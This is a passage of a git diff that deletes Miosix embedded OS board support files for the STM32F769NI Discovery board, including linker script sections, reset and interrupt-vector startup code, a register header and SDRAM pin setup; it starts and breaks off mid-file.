= 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/core/stage_1_boot.cpp deleted file mode 100644 index ae2ecdedb..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,481 +0,0 @@ -#include - -#include "core/cache_cortexMx.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/interrupts_cortexMx.h" -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "kernel/stage_2_boot.h" - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f769 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - // Cortex M7 core appears to get out of reset with interrupts already - // enabled - __disable_irq(); - - miosix::IRQconfigureCache((const unsigned int*)0xc0000000, 16 * 1024 * 1024); - - // These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - // Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - // Move on to stage 2 - _init(); - - // If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /** - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * 1. First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * 2. Second, when running Miosix with the xram linker scripts .data and - * .bss are placed in the external RAM, so we *must* call SystemInit(), - * which enables xram, before touching .data and .bss - * 3. Third, this is a performance improvement since the loops that - * initialize .data and zeros .bss now run with the CPU at full speed - * instead of 8MHz - */ - SystemInit(); - - /** - * ST does not provide code to initialize the SDRAM at boot. - * Put after SystemInit() as SDRAM is timing-sensitive and needs the full - * clock speed. - */ - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Load into the program stack pointer the heap end address and switch from - * the msp to sps. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile( - "ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" // Set the control register to use - "msr control, r0 \n\t" // the process stack - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() { unexpectedInterrupt(); } - -// System handlers -void /*__attribute__((weak))*/ Reset_Handler(); // These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); // weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); // surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) DSIHOST_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) CAN3_TX_IRQHandler(); -void __attribute__((weak)) CAN3_RX0_IRQHandler(); -void __attribute__((weak)) CAN3_RX1_IRQHandler(); -void __attribute__((weak)) CAN3_SCE_IRQHandler(); -void __attribute__((weak)) JPEG_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); - -// Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -// Interrupt vectors, must be placed @ address 0x00000000 -// The extern declaration is required otherwise g++ optimizes it out -extern void (*const __Vectors[])(); -void (*const __Vectors[])() __attribute__((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top), /* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - SAI2_IRQHandler, - QUADSPI_IRQHandler, - LPTIM1_IRQHandler, - CEC_IRQHandler, - I2C4_EV_IRQHandler, - I2C4_ER_IRQHandler, - SPDIF_RX_IRQHandler, - DSIHOST_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - DFSDM1_FLT3_IRQHandler, - SDMMC2_IRQHandler, - CAN3_TX_IRQHandler, - CAN3_RX0_IRQHandler, - CAN3_RX1_IRQHandler, - CAN3_SCE_IRQHandler, - JPEG_IRQHandler, - MDIOS_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak DSIHOST_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak CAN3_TX_IRQHandler = Default_Handler -#pragma weak CAN3_RX0_IRQHandler = Default_Handler -#pragma weak CAN3_RX1_IRQHandler = Default_Handler -#pragma weak CAN3_SCE_IRQHandler = Default_Handler -#pragma weak JPEG_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 29cb8822f..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -// stm32f7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -// includes core_cm7.h. Do not include core_cm7.h before. -#define STM32F769xx -#include "CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h" - -#define RCC_SYNC() __DSB() // TODO: can this dsb be removed? - -#endif // ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 51fe420ba..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,303 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include "interfaces/bsp.h" - -#include -#include - -#include - -#include "board_settings.h" -#include "config/miosix_settings.h" -#include "drivers/serial.h" -#include "drivers/serial_stm32.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "filesystem/console/console_device.h" -#include "filesystem/file_access.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/logging.h" -#include "kernel/sync.h" - -namespace miosix { - -// -// Initialization -// - -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) - return; -} - -void configureSdram() -{ - // Enable all gpios, passing clock - RCC->AHB1ENR |= - RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | RCC_AHB1ENR_GPIOCEN | - RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | RCC_AHB1ENR_GPIOIEN | - RCC_AHB1ENR_GPIOJEN | RCC_AHB1ENR_GPIOKEN; - RCC_SYNC(); - - // On the Discovery F769NI, the SDRAM pins are: - // - PG8: FMC_SDCLK - // - PH2: FMC_SDCKE0 - // - PH3: FMC_SDNE0 - // - PF0: FMC_A0 - // - PF1: FMC_A1 - // - PF2: FMC_A2 - // - PF3: FMC_A3 - // - PF4: FMC_A4 - // - PF5: FMC_A5 - // - PF12: FMC_A6 - // - PF13: FMC_A7 - // - PF14: FMC_A8 - // - PF15: FMC_A9 - // - PG0: FMC_A10 - // - PG1: FMC_A11 - // - PG2: FMC_A12 - // - PD14: FMC_D0 - // - PD15: FMC_D1 - // - PD0: FMC_D2 - // - PD1: FMC_D3 - // - PE7: FMC_D4 - // - PE8: FMC_D5 - // - PE9: FMC_D6 - // - PE10: FMC_D7 - // - PE11: FMC_D8 - // - PE12: FMC_D9 - // - PE13: FMC_D10 - // - PE14: FMC_D11 - // - PE15: FMC_D12 - // - PD8: FMC_D13 - // - PD9: FMC_D14 - // - PD10: FMC_D15 - // - PH8: FMC_D16 - // - PH9: FMC_D17 - // - PH10: FMC_D18 - // - PH11: FMC_D19 - // - PH12: FMC_D20 - // - PH13: FMC_D21 - // - PH14: FMC_D22 - // - PH15: FMC_D23 - // - PI0: FMC_D24 - // - PI1: FMC_D25 - // - PI2: FMC_D26 - // - PI3: FMC_D27 - // - PI6: FMC_D28 - // - PI7: FMC_D29 - // - PI9: FMC_D30 - // - PI10: FMC_D31 - // - PG4: FMC_BA0 - // - PG5: FMC_BA1 - // - PF11: FMC_SDNRAS - // - PG15: FMC_SDNCAS - // - PH5: FMC_SDNWE - // - PE0: FMC_NBL0 - // - PE1: FMC_NBL1 - // - PI4: FMC_NBL2 - // - PI5: FMC_NBL3 - - // All SDRAM GPIOs needs to be configured with alternate function 12 and - // maximum speed - - // Alternate functions - GPIOD->AFR[0] = 0x000000cc; - GPIOD->AFR[1] = 0xcc000ccc; - GPIOE->AFR[0] = 0xc00000cc; - GPIOE->AFR[1] = 0xcccccccc; - GPIOF->AFR[0] = 0x00cccccc; - GPIOF->AFR[1] = 0xccccc000; - GPIOG->AFR[0] = 0x00cc0ccc; - GPIOG->AFR[1] = 0xc000000c; - GPIOH->AFR[0] = 0x00c0cc00; - GPIOH->AFR[1] = 0xcccccccc; - GPIOI->AFR[0] = 0xcccccccc; - GPIOI->AFR[1] = 0x00000cc0; - - // Mode - GPIOD->MODER = 0xa02a000a; - GPIOE->MODER = 0xaaaa800a; - GPIOF->MODER = 0xaa800aaa; - GPIOG->MODER = 0x80020a2a; - GPIOH->MODER = 0xaaaa08a0; - GPIOI->MODER = 0x0028aaaa; - - // Speed (high speed for all, very high speed for SDRAM pins) - GPIOA->OSPEEDR = 0xaaaaaaaa; - GPIOB->OSPEEDR = 0xaaaaaaaa; - GPIOC->OSPEEDR = 0xaaaaaaaa; - GPIOD->OSPEEDR = 0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR = 0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR = 0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR = 0xaaaaaaaa | 0xc0030f3f; - GPIOH->OSPEEDR = 0xaaaaaaaa | 0xffff0cf0; - GPIOI->OSPEEDR = 0xaaaaaaaa | 0x003cffff; - GPIOJ->OSPEEDR = 0xaaaaaaaa; - GPIOK->OSPEEDR = 0xaaaaaaaa; - - // Enable the SDRAM 